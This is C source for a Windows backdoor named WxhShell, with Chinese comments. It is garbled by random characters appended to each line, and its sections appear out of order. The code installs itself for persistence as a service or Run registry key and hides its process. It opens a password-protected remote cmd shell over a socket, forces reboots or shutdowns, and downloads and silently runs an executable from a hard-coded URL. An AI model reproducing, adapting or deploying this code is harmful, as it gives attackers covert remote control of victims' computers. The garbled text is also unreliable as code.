    closesocket(wsh); iD%a;]  
    ExitThread(0); TG8U=9qt  
    } vfj{j= G  
    break; <h+@;/v:  
    } jA2%kX\6//  
  // 获取shell tI^[|@,  
  case 's': { pRxVsOb  
    CmdShell(wsh); FIAmAZH}_  
    closesocket(wsh); Isvb;VT9L  
    ExitThread(0); 3G 5xIr6   
    break; [~cz| C#  
  } K0o${%'@7  
  // 退出 wpC .!T  
  case 'x': { ki2 `gLK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .X(qs1  
    CloseIt(wsh); p/u  
    break; ek/zQM@%  
    } lb*;Z7fx<'  
  // 离开 DnhbMxh8o  
  case 'q': { 90Sras>F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b{ A/M#=  
    closesocket(wsh); [e _csQ  
    WSACleanup(); Voq/0,d  
    exit(1); J(~1mIJjC  
    break; i4WHjeo\  
        } <C;TGA  
  } 0t"Iq71/  
  } m~W[,7NE0&  
#u+qV!4  
  // 提示信息 1^GRUbOU[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @q># ]8  
} xQzW6H|  
  } %qE"A6j  
FL^t} vA  
  return; VK,{Mu=.9  
} {[/A?AV;F  
*qLk'<  
// shell模块句柄 mea} 9]c  
int CmdShell(SOCKET sock) @x A^F%(  
{ @ZJ }lED3  
STARTUPINFO si; |=~mRqG  
ZeroMemory(&si,sizeof(si)); lfd-!(tXD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v$JW7CKA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #h9Gl@|  
PROCESS_INFORMATION ProcessInfo; t;PG  
char cmdline[]="cmd"; 8'qlg|{!~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j"pyK@v2B  
  return 0; (Uu5$q(  
} ieWXr4@:  
XhWo~zh"  
// 自身启动模式 lk81IhI  
int StartFromService(void) y0?HZ Xq  
{ Z!fbc#L6  
typedef struct ypemp=+(r  
{ -`z%<)!Y  
  DWORD ExitStatus; >o`+j$j  
  DWORD PebBaseAddress; L *|P'  
  DWORD AffinityMask; }.WO=IZ  
  DWORD BasePriority; [ybK  
  ULONG UniqueProcessId; o /1+ }f  
  ULONG InheritedFromUniqueProcessId; TXV^f*  
}   PROCESS_BASIC_INFORMATION; aMkuyqPf{  
ySDo(EI4  
PROCNTQSIP NtQueryInformationProcess; 8:*ZuR|~  
7)2Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rg46V-"d,@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ly2!(,FB.  
9` VY)"rJ  
  HANDLE             hProcess; :9x]5;ma  
  PROCESS_BASIC_INFORMATION pbi; i-p,x0th  
f w)tWJVD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p0l.f`B  
  if(NULL == hInst ) return 0; VQ2'a/s  
GiK,+M"d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q|s:&&Wf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ` l'QAIo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7zU~ X,  
U,fPG/9  
  if (!NtQueryInformationProcess) return 0; vflC{,{=k>  
>zw@!1{1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hPGDN\#LD  
  if(!hProcess) return 0; " s_S!;w@  
<HS{A$]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =`N 0  
mF4OLG3L0  
  CloseHandle(hProcess); )$a6l8  
EKN<KnU%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1;{nU.If  
if(hProcess==NULL) return 0; k 7@:e$7  
~q/~ u  
HMODULE hMod; i|/G!ht^e  
char procName[255]; /|h+,]< >  
unsigned long cbNeeded; YD9vWk \/  
u$ci{<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'IVC!uL,%  
0@E I@X;q  
  CloseHandle(hProcess); k.)YFKi  
'dzbeTJ D5  
if(strstr(procName,"services")) return 1; // 以服务启动 \'('HFr,  
~d,$ nZ"z  
  return 0; // 注册表启动 tO1k2<Z"Y&  
} 4 CiRh  
/!6 VP |  
// 主模块 ^u0y<kItX  
int StartWxhshell(LPSTR lpCmdLine) 42,dHYdt  
{ u%1JdEWZd  
  SOCKET wsl; Yb[)ETf^  
BOOL val=TRUE; pa?AKj]  
  int port=0; 87)/dHc  
  struct sockaddr_in door; H+gB|  
T-7( 3#&  
  if(wscfg.ws_autoins) Install(); k{lXK\zN  
3KkJQ5a  
port=atoi(lpCmdLine); n<b}6L}  
<Zfh5AM  
if(port<=0) port=wscfg.ws_port; |\| v%`r2  
j!;E>`g  
  WSADATA data; ma) + G!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G@T_o4t  
pj3H4yCM:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }&s |~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )MoHY   
  door.sin_family = AF_INET; :iQJ9Hdz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <1x u&Z7  
  door.sin_port = htons(port); :8N by$#V  
vtK.7AF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V;)+v#4{  
closesocket(wsl); V}Q`dEk2r  
return 1; k{|> !(Ax  
} h:FN&E c}  
R]>0A3P  
  if(listen(wsl,2) == INVALID_SOCKET) { B7[#z{8'#  
closesocket(wsl); A%&lW9z7  
return 1; LUpkO  
} 4[%_Bnv#AJ  
  Wxhshell(wsl); LRS,bl3}/  
  WSACleanup(); .+u r+" i  
2'Kh>c2  
return 0; qM 3(OvCt  
)`gxaT>&l  
} `m"K_\w=/  
wk^$DM/KJ)  
// 以NT服务方式启动 \]S)PDqR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BPOT!-  
{ <@4V G  
DWORD   status = 0; ).Iifu|ks  
  DWORD   specificError = 0xfffffff; %Br1b6 V  
{`> pigo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dV*9bDkM/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]a*26AbU+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 20Jlf?  
  serviceStatus.dwWin32ExitCode     = 0; L$,Kdpj  
  serviceStatus.dwServiceSpecificExitCode = 0; cmd7-2  
  serviceStatus.dwCheckPoint       = 0; "s`#` '  
  serviceStatus.dwWaitHint       = 0; *kj+6`:CPs  
ox";%|PP1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GFnwj<V+{  
  if (hServiceStatusHandle==0) return; m5P@F@  
n#4T o;CS  
status = GetLastError(); z$/s` |]  
  if (status!=NO_ERROR) kaECjZ _&+  
{ o##!S6:A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E=,fdyj.  
    serviceStatus.dwCheckPoint       = 0; P/k#([:2  
    serviceStatus.dwWaitHint       = 0; G \$x.  
    serviceStatus.dwWin32ExitCode     = status; =4!m] *y  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^0I"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fX1Ib$v  
    return; u:wf :^  
  } <<@F{B7h  
/7.//klN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +*e Vi3  
  serviceStatus.dwCheckPoint       = 0; <0Gk:NB,  
  serviceStatus.dwWaitHint       = 0; z'gJy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]2@lyG#<<  
} d5=&:cF  
9El{>&Fs4  
// 处理NT服务事件,比如:启动、停止 yU~w Zjw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "b)EH/ s  
{ Kz]\o"K  
switch(fdwControl) 1@~ 1vsJ  
{ eG.s|0`  
case SERVICE_CONTROL_STOP: "412w^5[T  
  serviceStatus.dwWin32ExitCode = 0; ,kFp%qNj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WK{F  
  serviceStatus.dwCheckPoint   = 0; f|j<Mj+\  
  serviceStatus.dwWaitHint     = 0; ?+{_x^  
  { G6\`Iy68/v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S]&aDg1y}  
  } !rZZ/M"i  
  return; /(%!txSNEt  
case SERVICE_CONTROL_PAUSE: CRNt5T>qH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h`p=~u +  
  break; \r3SvBwhFv  
case SERVICE_CONTROL_CONTINUE: cF"}}c1*M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <:StZ{o;  
  break; * COC&  
case SERVICE_CONTROL_INTERROGATE: .GCJA`0h  
  break; g/w <T+v  
}; iBKH\em/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cCG!X%9  
} _.m|Ml,`{  
D'UIxc8  
// 标准应用程序主函数  |vBy=:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~*tn|?%  
{ |2jA4C2L}  
xd4~[n\hm  
// 获取操作系统版本 &hM7y7  
OsIsNt=GetOsVer(); )]zsAw`/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M~.1:%khM  
W*u$e8i7  
  // 从命令行安装 m,rkKhXP  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'W&ewZH_h  
\23m*3"W  
  // 下载执行文件 F84<='K  
if(wscfg.ws_downexe) { tU.~7f#+A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {]4Zpev  
  WinExec(wscfg.ws_filenam,SW_HIDE); OgzKX>N`A  
} gA]3h8%w  
*(Z\ "o!  
if(!OsIsNt) { GgtYO4,  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vf$$e)  
HideProc(); E>u U6#v  
StartWxhshell(lpCmdLine); VMu?mqEa  
} m mH xPd  
else wxF\enDY  
  if(StartFromService()) \[A JWyP  
  // 以服务方式启动 }E&:  
  StartServiceCtrlDispatcher(DispatchTable); Q-yNw0V}F  
else {m_y<  
  // 普通方式启动 @J'tPW<$  
  StartWxhshell(lpCmdLine); j@/p: fk  
@E"lN  
return 0; /1xBZf rN  
} A(n3<(O/{Z  
qsYg%Z  
DyUS^iz~o  
Q$Sp'  
=========================================== Qs<L$"L1  
 ;B{oGy.  
y#/P||PM  
{r#uD5NJ/  
-'^:+FU  
KppYe9?  
" 2g5jGe*0  
n.G.f bO  
#include <stdio.h> [|\#cVWs  
#include <string.h> KC8  
#include <windows.h> Io{BO.K*Y  
#include <winsock2.h> !L2!:_  
#include <winsvc.h> 64Tb,AL_  
#include <urlmon.h> ?gMq:[X N  
y-~_W 6\  
#pragma comment (lib, "Ws2_32.lib") Us%g&MWdpb  
#pragma comment (lib, "urlmon.lib") uF[~YJ>  
 +&<k}Mz  
#define MAX_USER   100 // 最大客户端连接数 I |"'  
#define BUF_SOCK   200 // sock buffer bR?xz-g%<3  
#define KEY_BUFF   255 // 输入 buffer f @Vd'k<  
~G.MaSm  
#define REBOOT     0   // 重启 [i_evsUj?  
#define SHUTDOWN   1   // 关机 v]T?xo~@'  
^E".`~R  
#define DEF_PORT   5000 // 监听端口 rkz84wDx  
vTC{  
#define REG_LEN     16   // 注册表键长度 4,BJK`{  
#define SVC_LEN     80   // NT服务名长度 ('o} EoXS  
jI9#OEH_g  
// 从dll定义API |fo#pwX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $Xqc'4YOZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;/)$Cm&e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _\{/#J;lN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U6YHq2<  
\$gA2r  
// wxhshell配置信息 wZ=@0al  
struct WSCFG { #oN}DP  
  int ws_port;         // 监听端口 A.~wgJDO  
  char ws_passstr[REG_LEN]; // 口令 $"?$r  
  int ws_autoins;       // 安装标记, 1=yes 0=no (U\D7ItMG  
  char ws_regname[REG_LEN]; // 注册表键名 moZeP#Q%  
  char ws_svcname[REG_LEN]; // 服务名 Q(4~r+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Emw]`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d<w]>T5VW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gu&W:FY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |\94a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VH vL:z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [p]UM;+  
Q`Rn,kCVy  
}; C u1G8t-  
B;2#Sa.  
// default Wxhshell configuration =,X*40=  
struct WSCFG wscfg={DEF_PORT, MooxT7  
    "xuhuanlingzhe", D$E#:[  
    1, FU;a { irB  
    "Wxhshell", "Jdi>{o8  
    "Wxhshell", 8/;@4^Ux  
            "WxhShell Service", hBhbcWD,ka  
    "Wrsky Windows CmdShell Service", *w}r:04F  
    "Please Input Your Password: ", $ 'yWg_(  
  1, +Eel|)Z*Q  
  "http://www.wrsky.com/wxhshell.exe", G2b"R{i/,  
  "Wxhshell.exe" Bm<tCN-4  
    }; q_[`PYT  
s +E4AG1r  
// 消息定义模块 ubc k{\.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4M+f#b1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sejT] rJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tvJl&{-OX  
char *msg_ws_ext="\n\rExit."; )19#g1rn5  
char *msg_ws_end="\n\rQuit."; LLbI}:  
char *msg_ws_boot="\n\rReboot..."; D}U gC\u  
char *msg_ws_poff="\n\rShutdown..."; 1K'cT\aFm  
char *msg_ws_down="\n\rSave to "; "~Zdv}^xS  
md|I?vk  
char *msg_ws_err="\n\rErr!"; }vg|05L  
char *msg_ws_ok="\n\rOK!"; OF:0jOW  
*:`fgaIDa  
char ExeFile[MAX_PATH]; 5'%O]~  
int nUser = 0; rje;Bf  
HANDLE handles[MAX_USER]; w{N8Y ~O  
int OsIsNt; S"`{ JCW$  
7uO tdH+  
SERVICE_STATUS       serviceStatus; fJe5 i6`(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WcpH= "vm  
<vu~EY0.  
// 函数声明 `, 4YPjk^  
int Install(void); 2EO9IxIf  
int Uninstall(void); ce719n$   
int DownloadFile(char *sURL, SOCKET wsh); l_,6<wWp  
int Boot(int flag); Mgu9m8 `J  
void HideProc(void); ;ZkY[5  
int GetOsVer(void); [jEA|rd~}  
int Wxhshell(SOCKET wsl); qLw^Qxo  
void TalkWithClient(void *cs); -iFFXESVX  
int CmdShell(SOCKET sock); *z_`$Y  
int StartFromService(void); =5:kV/p  
int StartWxhshell(LPSTR lpCmdLine); 9NZq k  
$_e{Zv[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]/AU_&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kV3LFPf>0  
jaMpi^C  
// 数据结构和表定义 m~&>+q ^7  
SERVICE_TABLE_ENTRY DispatchTable[] = ` M-  
{ M. _5mZ{  
{wscfg.ws_svcname, NTServiceMain}, llCE}Vdh  
{NULL, NULL} (&, E}{p9  
}; x}x)h3e  
)*7{%Ilq  
// 自我安装 4`7~~:W!M5  
int Install(void) #G\-ftA&  
{ `V.tqZF  
  char svExeFile[MAX_PATH]; ?DnQU"_$  
  HKEY key; ;6?,Yhk$h  
  strcpy(svExeFile,ExeFile); @Y+kg  
cBHUa}:  
// 如果是win9x系统,修改注册表设为自启动 K)h<#F  
if(!OsIsNt) { Wu l8ej:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YF%]%^n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nhd.c2t\  
  RegCloseKey(key); M3dUGM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZvK3Su)f1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @(."[O:  
  RegCloseKey(key); TT){15T;"  
  return 0; qR , 5  
    } - 8jlh  
  } VRHS 4  
} x_l8&RIB*  
else { nppSrj?  
Svs&?B\}{6  
// 如果是NT以上系统,安装为系统服务 d[E= HN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }R:oWR  
if (schSCManager!=0) `[ZA#8Ma  
{ [G[{?{  
  SC_HANDLE schService = CreateService BL%&n*&  
  ( 715J1~aRNr  
  schSCManager, |@?='E?h  
  wscfg.ws_svcname, kpk ^Uw%f  
  wscfg.ws_svcdisp, FE#| 5;q.  
  SERVICE_ALL_ACCESS, ONc#d'-L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8zwH^q[`r  
  SERVICE_AUTO_START, P#;pQC  
  SERVICE_ERROR_NORMAL, sr~VvciIy  
  svExeFile, TETfRnm  
  NULL, qzk]9`i1:  
  NULL, dO-Zj#%7z8  
  NULL, dtXtZ!g2  
  NULL, s GrI%3[e"  
  NULL %H}M[_f  
  ); 2m72PU<.  
  if (schService!=0) 4dh> B>Q  
  { b}N \h<\G  
  CloseServiceHandle(schService); f_:>36{1^!  
  CloseServiceHandle(schSCManager); 9  I&[6}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wOH 3[SKo  
  strcat(svExeFile,wscfg.ws_svcname); /&!o]fU1C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TNcMrbWA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A\ tBmL_s  
  RegCloseKey(key); f1d<xGx  
  return 0; _ CzAv%  
    } aecvz0}@R  
  } EE qlsH  
  CloseServiceHandle(schSCManager); 0BOL0<Wq  
} t V7{j'If  
} cr^R9dv  
3V]psZS  
return 1; ;[|+tO_  
} {|e7^_ke  
E/E|*6R  
// 自我卸载 &(20*Vn,O  
int Uninstall(void) mUiJ@  
{ (k%r_O6  
  HKEY key; zK*i:(>B  
**ls 4CE<  
if(!OsIsNt) { ?W&ajH_T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  mNX0BZ  
  RegDeleteValue(key,wscfg.ws_regname); d-]!aFj|U  
  RegCloseKey(key); *`tQX$F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U.|0y=  
  RegDeleteValue(key,wscfg.ws_regname); ^9|&w.:@Q  
  RegCloseKey(key); .GW)"`HbU  
  return 0; < -Ax)zE  
  } @$wfE\_L  
} YJwffV}nd  
} };cH5bYF  
else { w/7vXz<  
W#9LK Jj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ulk yP  
if (schSCManager!=0) o* QZf *M  
{ P{8<U8E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /(i~Hpp  
  if (schService!=0) S's I[?\x  
  { ZXWm?9uw  
  if(DeleteService(schService)!=0) { 4ug4[  
  CloseServiceHandle(schService); j!a&l  
  CloseServiceHandle(schSCManager); dp:5iuS  
  return 0; {|Fn<&G  
  }  V#+J4   
  CloseServiceHandle(schService); X|60W  
  } <|:$_&(  
  CloseServiceHandle(schSCManager); `iwGPG!  
} 3d_g@x#9  
} ) KYU[  
6x8lnXtA  
return 1; qp]s VY  
} 4WQ 96|F  
YMn=9EUp  
// 从指定url下载文件 ]T>YYz  
int DownloadFile(char *sURL, SOCKET wsh) .O9Pn,:  
{ JWQ.Efe  
  HRESULT hr; A2B]E,JMp  
char seps[]= "/";  PO=A^b  
char *token; 8noo^QO  
char *file; xllmF)]*Y  
char myURL[MAX_PATH]; 7L!q{%}  
char myFILE[MAX_PATH]; )/t=g  
Uql7s:!,U  
strcpy(myURL,sURL); 'ExQG$t  
  token=strtok(myURL,seps); BCr*GtR)W  
  while(token!=NULL) 5OC3:%g  
  { SJ:Wr{ Or3  
    file=token; 0U:9&j P,  
  token=strtok(NULL,seps); ^^gV@fz  
  } 0ac'<;9]zP  
"=9)|{=m  
GetCurrentDirectory(MAX_PATH,myFILE); 'S; l"  
strcat(myFILE, "\\"); $60]RCu  
strcat(myFILE, file); L$f:D2Ei  
  send(wsh,myFILE,strlen(myFILE),0); rE.z.r"O  
send(wsh,"...",3,0); 2iWxx:e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `Zz;[<*<  
  if(hr==S_OK) O,7*dniH  
return 0; H=_k|#/  
else Bj\oo+L/  
return 1; /f,*|  
qBWt(jY  
} HQ3kxOT  
*lp{,  
// 系统电源模块 PvS\  
int Boot(int flag) 6X GqZ!2  
{ `~ R%}ID  
  HANDLE hToken; M{U7yE6*j*  
  TOKEN_PRIVILEGES tkp; 1;[ZkRbzL  
4m/L5W:K  
  if(OsIsNt) { X1lL@`r.5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K]Q1VfeL=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -r6LndQs  
    tkp.PrivilegeCount = 1; %|By ?i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WR4\dsgCU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #pp6 ycy  
if(flag==REBOOT) { =tfS@o/n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }9(:W</}  
  return 0; a(eUdGJ  
} hjY)W;  
else {  =u Ieur  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A(qy>x-BI  
  return 0; e/V8lo  
} GAcU8  MD  
  } {@`Z`h" N  
  else { +8q]O%B   
if(flag==REBOOT) { [d,")Ng  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <*74t%AJ%  
  return 0; -$_h]x* W  
} ,W~a%8*  
else { ADN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m=%WA5c?  
  return 0; Ptv=Bwg  
} 28PT1 9&  
} t0gLz J  
5oE!^bF?  
return 1; (8OaXif  
} EU-=\Y  
TZ%u;tBH:  
// win9x进程隐藏模块 iMr/i?`i  
void HideProc(void) L&SlUXyt.c  
{  -!z,t7!  
:g=z}7!s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ym "Nj  
  if ( hKernel != NULL ) X'h J&-[P  
  { <eG8xC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *%xmCP J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X3;|h93.a  
    FreeLibrary(hKernel); or1D 6 *'  
  } &B5@\Hd;  
)6:nJ"j#  
return; g{?]a'?  
} {(!j6|jK  
F;^GhiQVS  
// 获取操作系统版本 $^4URH  
int GetOsVer(void) ?-IjaDC}  
{ 'X(G><R9  
  OSVERSIONINFO winfo; geRD2`3;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .I&]G  
  GetVersionEx(&winfo); _4jRUsvjY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |0$wRl+kN  
  return 1; bC@9 */i  
  else ' |>  
  return 0; {`vv-[j|  
} (lY< \l  
^}4=pkJ;s  
// 客户端句柄模块 bl;C=n  
int Wxhshell(SOCKET wsl) ngoAFb  
{ o {bwWk7v6  
  SOCKET wsh; Q(Dp116  
  struct sockaddr_in client; L0H kmaH  
  DWORD myID; @4N@cM0   
K)C9)J<  
  while(nUser<MAX_USER) %l7|+%M.{  
{ n/fMq,<8  
  int nSize=sizeof(client); 1]uHaI(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GCTf/V\#  
  if(wsh==INVALID_SOCKET) return 1; /HmD/E\  
FF"`F8-w>Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z ^tF  
if(handles[nUser]==0) } 1 >i  
  closesocket(wsh); YI*Av+Z)  
else h)qapC5z,  
  nUser++; sKT GZA  
  } )0I;+9:D=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '8 ~E  
E|jbbCZy2  
  return 0;  v NJ!d  
} ta-kqt!'  
jJF(*D  
// 关闭 socket Qr4c':8  
void CloseIt(SOCKET wsh) MR@*09zP(?  
{ dfBTx6/F  
closesocket(wsh); Ol9'ZB|R  
nUser--; ytXXZ`  
ExitThread(0); 4EiEE{9V  
} N| dwuBW  
BEkxH.   
// 客户端请求句柄 ]_yk,}88d  
void TalkWithClient(void *cs) `4'['x  
{ [D=3:B&f  
jc|"wN]  
  SOCKET wsh=(SOCKET)cs; 5!T\L~tyt  
  char pwd[SVC_LEN];  m%-  
  char cmd[KEY_BUFF]; 6+9inWTT(  
char chr[1]; 4Y[uqn[  
int i,j;  S oY=  
A7!=`yA$  
  while (nUser < MAX_USER) { }l/ !thzC  
h4 s!VK1X  
if(wscfg.ws_passstr) { ZCZYgf@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mRT`'fxK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P7;=rSW  
  //ZeroMemory(pwd,KEY_BUFF); (dxkDS-G  
      i=0; _[8BAm  
  while(i<SVC_LEN) { 4  |E`  
!'()QtvC<  
  // 设置超时 P%v7(bqL4+  
  fd_set FdRead; e{~s\G8g  
  struct timeval TimeOut; i6p0(OS&D  
  FD_ZERO(&FdRead); -o\r]24  
  FD_SET(wsh,&FdRead);  2L~[dn.s  
  TimeOut.tv_sec=8; j"aimjqd3  
  TimeOut.tv_usec=0; I |?zSFa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *5bKJgwJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c[4  H  
!Qu)JR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :_%  
  pwd=chr[0]; s5X .(;+  
  if(chr[0]==0xd || chr[0]==0xa) { \7QAk4I~  
  pwd=0; R<+K&_  
  break; ]:B|_| H  
  } jOppru5U  
  i++; H[ DrG6GA  
    } T.vkGB=QZ%  
1'dL8Y  
  // 如果是非法用户,关闭 socket *7'}"@@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `k}  
} 85P7I=`*d  
G'/36M@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !A(*?0`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z_oBZs  
g|r:+%,M  
while(1) { RzG<&a3B3s  
)6# i>c-  
  ZeroMemory(cmd,KEY_BUFF); 8'Eu6H&$G  
ZW$PJmz  
      // 自动支持客户端 telnet标准   rAK}rNxI  
  j=0; L`%v#R  
  while(j<KEY_BUFF) { 9|Cu2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w\ U fq  
  cmd[j]=chr[0]; }VlX!/42  
  if(chr[0]==0xa || chr[0]==0xd) { Yl[GO}M  
  cmd[j]=0; ALqP;/  
  break; /F;b<kIy8  
  } 75j`3wzu  
  j++; '"{ IV  
    } _C3l 2v'I$  
P>/n!1c  
  // 下载文件 >E&m Np  
  if(strstr(cmd,"http://")) { P%hi*0pwZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v:c_q]z#B  
  if(DownloadFile(cmd,wsh)) kK]JN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /xmUu0H$R  
  else >1[Hk0 <x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u?[dy n  
  } okx~F9  
  else { &CCp@" +  
(B@:0}>  
    switch(cmd[0]) { H tIl;E  
  B[:-SWd  
  // 帮助 9ZjSM,+  
  case '?': { `<>Emc8Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); irSdqa/  
    break; 7@R;lOzL3  
  } Zvd^<SP<?  
